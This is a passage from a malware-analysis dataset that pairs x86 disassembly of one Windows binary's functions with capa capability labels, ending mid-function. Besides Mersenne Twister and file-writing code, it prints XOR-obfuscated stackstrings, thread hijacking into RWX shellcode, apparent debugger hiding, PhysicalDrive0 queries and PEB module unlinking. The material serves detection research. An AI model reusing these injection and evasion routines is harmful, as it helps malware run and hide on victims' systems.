joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e790
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
nop
mov ecx, dword [edi + 4]
dec ecx
shl ebx, cl
add ebx, ebx
nop dword [eax + eax]
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x1000e7c4
mov ecx, esi
call fcn.1000e910
jmp 0x1000e7d2
cmp eax, 0x4e0
jb 0x1000e7d2
mov ecx, esi
call fcn.1000e960
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov ecx, edx
shr ecx, 0x12
xor ecx, edx
cmp ecx, dword [edi + 8]
ja 0x1000e7b0
mov eax, dword [ebp - 4]
or ebx, ecx
add eax, dword [edi + 4]
mov dword [ebp - 4], eax
cmp eax, 0x20
jb 0x1000e7a0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000e830
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
dec eax
mov ecx, dword [ebp + 8]
xor esi, esi
xor ebx, ebx
test eax, eax
je 0x1000e8dc
nop dword [eax]
mov ecx, dword [edi + 4]
dec ecx
shl esi, cl
add esi, esi
mov dword [ebp - 4], esi
nop dword [eax + eax]
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x1000e874
mov ecx, esi
call fcn.1000e910
jmp 0x1000e882
cmp eax, 0x4e0
jb 0x1000e882
mov ecx, esi
call fcn.1000e960
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
cmp eax, dword [edi + 8]
ja 0x1000e860
mov ecx, dword [edi + 4]
mov esi, dword [ebp - 4]
dec ecx
shl ebx, cl
or esi, eax
mov ecx, dword [ebp + 8]
add ebx, ebx
or ebx, dword [edi + 8]
lea eax, [ecx - 1]
cmp ebx, eax
jb 0x1000e850
xor edx, edx
mov eax, ebx
div ecx
mov ecx, eax
mov ebx, edx
xor edx, edx
mov eax, esi
div dword [ebp + 8]
cmp eax, ecx
mov ecx, dword [ebp + 8]
jb 0x1000e8ff
lea eax, [ecx - 1]
cmp ebx, eax
jne 0x1000e840
mov eax, esi
xor edx, edx
div ecx
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000e910
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x1000e920
pop esi
ret
Function at 0x1000e960
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x1000e970
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x1000e9b2
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x1000f740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10065388
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x10078014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp dword [0x1007a230], 0
je 0x1000f8c2
cmp byte [0x1007a242], 0
je 0x1000f8c2
mov eax, dword [edi]
cmp dword [eax + 0x14], 0x10
lea esi, [eax + 4]
jb 0x1000f79a
mov esi, dword [eax + 4]
movaps xmm0, xmmword [0x1006f750]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov word [ebp - 0x28], 0x23
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x10
jb 0x1000f7b0
sub esp, 0x18
mov byte [ebp - 0x27], 0
lea eax, [ebp - 0x37]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.100029c0
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
push esi
call fcn.100029c0
mov dword [ebp - 4], 0xffffffff
call fcn.1000ea80
add esp, 0x30
test al, al
je 0x1000f8c2
mov ecx, dword [0x1007a230]
mov eax, dword [ecx + 0x5c]
test eax, eax
je 0x1000f8b2
push edi
push ebx
mov ecx, eax
call fcn.10031f80
mov ecx, dword [0x1007a230]
cmp dword [ecx + 0x60], 0
je 0x1000f86b
xor bl, bl
xor esi, esi
mov byte [ebp - 0x14], bl
cmp bl, 4
jae 0x1000f85e
mov eax, dword [ecx + 0x5c]
movq xmm0, qword [eax + esi + 4]
mov eax, dword [eax + esi + 0xc]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
test al, al
je 0x1000f85e
push dword [ebp - 0x20]
mov ecx, dword [ecx + 0x60]
push dword [ebp - 0x14]
push edi
push dword [ebp - 0x18]
call fcn.10033230
mov ecx, dword [0x1007a230]
inc bl
add esi, 0xc
mov byte [ebp - 0x14], bl
cmp bl, 4
jb 0x1000f82d
cmp dword [ecx + 0x64], 0
je 0x1000f8b2
xor bl, bl
mov byte [ebp - 0x14], bl
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x24]
mov ecx, dword [ecx + 0x5c]
push esi
push eax
call fcn.100322e0
cmp byte [ebp - 0x1c], 0
je 0x1000f8a2
push dword [ebp - 0x20]
mov ecx, dword [0x1007a230]
push esi
push edi
push dword [ebp - 0x18]
mov ecx, dword [ecx + 0x64]
call fcn.100337a0
mov ecx, dword [0x1007a230]
inc bl
mov byte [ebp - 0x14], bl
cmp bl, 8
jb 0x1000f876
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x1000f8c2
push edi
push dword [ebp - 0x18]
call fcn.10031970
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x10011470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10064a78
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10078014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x100115b3
cmp byte [ebx + 0x3d], 0
je 0x100115b3
push 0xffffffffffffffff
call fcn.10011030
cmp eax, 0xffffffff
sete al
test al, al
je 0x100114c9
xor al, al
jmp 0x100115b5
mov ecx, 0xf
mov byte [ebp - 0x28], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], ecx
cmp ecx, 0x10
movq qword [ebp - 0x28], xmm0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x28]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
lea edi, [ebx + 0x40]
nop
cmp esi, 0x10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmovae edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
add eax, edx
push eax
push ecx
mov ecx, dword [ebx + 0x38]
push edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1001153c
sub eax, 1
je 0x10011540
mov esi, dword [ebp - 0x14]
sub eax, 2
je 0x10011598
xor bl, bl
jmp 0x1001159a
mov byte [ebx + 0x3d], 0
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp esi, 0x10
mov edi, dword [ebp - 0x2c]
cmovae eax, ecx
sub edi, eax
je 0x10011576
push dword [ebx + 0x4c]
cmp esi, 0x10
lea eax, [ebp - 0x28]
push edi
cmovae eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov esi, dword [ebp - 0x14]
add esp, 0x10
cmp edi, eax
jne 0x10011538
cmp byte [ebx + 0x3d], 0
je 0x10011598
test edi, edi
lea edi, [ebx + 0x40]
jne 0x10011500
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000eef0
jmp 0x100114f9
mov bl, 1
cmp esi, 0x10
jb 0x100115af
mov ecx, dword [ebp - 0x28]
lea edx, [esi + 1]
push 1
call fcn.10002790
add esp, 4
mov al, bl
jmp 0x100115b5
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x10013270
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [0x1007a96d], 0
jne 0x100132b8
push 0x1007a980
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp eax, 1
jne 0x100132a8
push 0x1007a988
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov al, 1
mov byte [0x1007a96c], al
mov byte [0x1007a96d], al
jmp 0x100132bd
xor al, al
mov byte [0x1007a96d], 1
mov byte [0x1007a96c], al
jmp 0x100132bd
mov al, byte [0x1007a96c]
test al, al
je 0x10013304
push 0x1007a980
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [0x1007a984]
mov ecx, dword [0x1007a980]
call fcn.10064420
mov edx, dword [0x1007a98c]
mov ecx, dword [0x1007a988]
movsd qword [ebp - 8], xmm0
call fcn.10064420
movsd xmm1, qword [ebp - 8]
divsd xmm1, xmm0
cvtpd2ps xmm0, xmm1
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WINMM.dll_timeGetTime]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1006fb10]
cvtpd2ps xmm0, xmm0
mov esp, ebp
pop ebp
ret
Function at 0x100155c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100656c0
mov eax, dword fs:[0]
push eax
sub esp, 0x78
push ebx
push esi
mov eax, dword [0x10078014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, byte [0x1007a2e7]
cmp bl, 0x41
je 0x100156b8
mov ecx, 0xd78dd4
call fcn.10015280
mov edx, eax
call fcn.10001f40
cmp edx, eax
jne 0x10015625
mov ecx, 0xd78dd4
call fcn.10015280
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x100156b8
movaps xmm0, xmmword [0x10070090]
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
movzx eax, bl
movaps xmm0, xmmword [0x1006fe00]
push eax
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0x5a47415b
mov word [ebp - 0x5c], 0x59
nop
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x24
jb 0x10015650
sub esp, 0x18
mov byte [ebp - 0x5b], 0
lea eax, [ebp - 0x7f]
mov ecx, esp
push eax
call fcn.100029c0
lea eax, [ebp - 0x58]
push eax
call fcn.100061b0
add esp, 0x20
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10018b60
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x100156a6
mov ecx, dword [ebp - 0x58]
inc edx
push 1
call fcn.10002790
add esp, 4
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
call fcn.1001e870
test eax, eax
je 0x1001574e
movaps xmm0, xmmword [0x1006f720]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x323733
nop dword [eax]
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x12
jb 0x100156e0
cmp byte [ebp - 0x27], 0
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jne 0x1001570d
xor ecx, ecx
jmp 0x1001571c
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10015713
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x40]
call fcn.100028c0
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 1
call fcn.10018b60
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x1001574e
mov ecx, dword [ebp - 0x40]
inc edx
push 1
call fcn.10002790
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100186a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10078014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10070170]
xor ecx, ecx
mov eax, dword [0x1007a328]
push ebx
push esi
push edi
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xf
jb 0x100186d0
sub esp, 0x18
mov byte [ebp - 0x28], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x37], 0
jne 0x10018701
xor ecx, ecx
jmp 0x10018710
lea ecx, [ebp - 0x37]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018707
sub ecx, esi
push ecx
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.100028c0
lea ecx, [ebp - 0x1c]
call fcn.1005fff0
mov edi, dword [ebp - 8]
add esp, 0x18
cmp dword [0x1007a324], 0
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
jbe 0x10018789
xor edx, edx
mov dword [ebp - 0x20], edx
cmp edi, 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018750
sub ecx, esi
mov eax, edx
cmp edi, 0x10
lea esi, [ebp - 0x1c]
cmovae esi, ebx
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x20]
mov al, byte [edx + esi]
mov edx, dword [ebp - 0x3c]
xor byte [ecx + edx], al
mov eax, dword [ebp - 0x24]
inc eax
movzx edx, ax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
cmp edx, dword [0x1007a324]
jb 0x10018742
cmp edi, 0x10
jb 0x100187d3
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x100187ca
test bl, 0x1f
je 0x100187a3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x100187b0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub ebx, eax
cmp ebx, 4
jae 0x100187bd
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp ebx, 0x23
jbe 0x100187c8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ebx, eax
push ebx
call fcn.10063060
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x10018d30
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100659bc
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x10078014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x38], esi
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10018d9b
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x10018f03
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], fcn.10018f30
mov dword [ebp - 0x24], edi
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 8
lea eax, [ebp - 0x30]
movq qword [ebp - 0x20], xmm0
push eax
push 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0x2d1400
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10018e21
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x10018e10
mov eax, dword [esi]
jmp 0x10018e12
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x10018ef6
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x38], eax
call fcn.100630da
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10018e46
push dword [ebp - 0x38]
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x10018e48
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x38]
lea eax, [ebp - 0x20]
push ebx
push 0xc
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10018ea4
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x10018e89
mov eax, dword [esi]
jmp 0x10018e8b
mov eax, esi
mov byte [eax], 0
test ebx, ebx
je 0x10018e9b
push ebx
call fcn.100630e3
add esp, 4
mov dword [ebp - 4], 3
jmp 0x10018ef6
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10018edc
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x10018ec5
mov eax, dword [esi]
jmp 0x10018ec7
mov eax, esi
push ebx
mov byte [eax], 0
call fcn.100630e3
add esp, 4
mov dword [ebp - 4], 4
jmp 0x10018ef6
add eax, ebx
mov ecx, esi
push eax
call fcn.100029c0
push ebx
call fcn.100630e3
add esp, 4
mov dword [ebp - 4], 5
test edi, edi
je 0x10018f03
push edi
call fcn.10018f30
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x1001e040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10078014]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x1006f6e0]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x29252f68
movups xmmword [esp + 4], xmm0
mov byte [esp + 0x18], 0
xor ecx, ecx
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x13
jb 0x1001e072
lea eax, [esp + 5]
mov byte [esp + 0x18], 0
push eax
mov edx, 0x1007a7d0
lea ecx, [esp + 0x20]
call fcn.10009fc0
mov eax, dword [esi + 0x1fc]
add esp, 4
test eax, eax
je 0x1001e0ac
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
push 0x8010
cmovae eax, dword [esp + 0x20]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1001e0ed
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1001e0ed
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov edx, dword [esp + 0x30]
cmp edx, 0x10
jb 0x1001e105
mov ecx, dword [esp + 0x1c]
inc edx
push 1
call fcn.10002790
add esp, 4
mov ecx, dword [esp + 0x34]
pop esi
xor ecx, esp
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x1001e280
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10078014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x35
mov dword [ebp - 0x2f8], 0x59416735
mov dword [ebp - 0x2f4], 0x51545a79
xor eax, eax
mov dword [ebp - 0x2f0], 0x5c474166
mov word [ebp - 0x2ec], 0x525b
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001e2da
mov cl, byte [ebp - 0x2f8]
jmp 0x1001e2c5
push ebx
mov byte [ebp - 0x2e8], 0x46
mov al, 0x28
xor al, byte [ebp - 0x2e8]
mov bl, 0x2a
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x22
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x32
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x68
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1001e3a1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10063065
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001e38f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001e38f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001e38f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001e38f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10002090
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001e38f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10063065
mov esp, ebp
pop ebp
ret
Function at 0x1001e470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x56
mov al, 0x38
xor al, byte [ebp - 0x10]
mov bl, 0x3a
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x32
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x22
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x78
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1001e4e8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x1006fe50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x465c605a
mov dword [ebp - 0x14], 0x505551
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1001e503
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1001e4df
test esi, esi
jne 0x1001e531
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001e550
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001e58e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001e592
cmp edx, esi
jne 0x1001e577
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001e5b2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
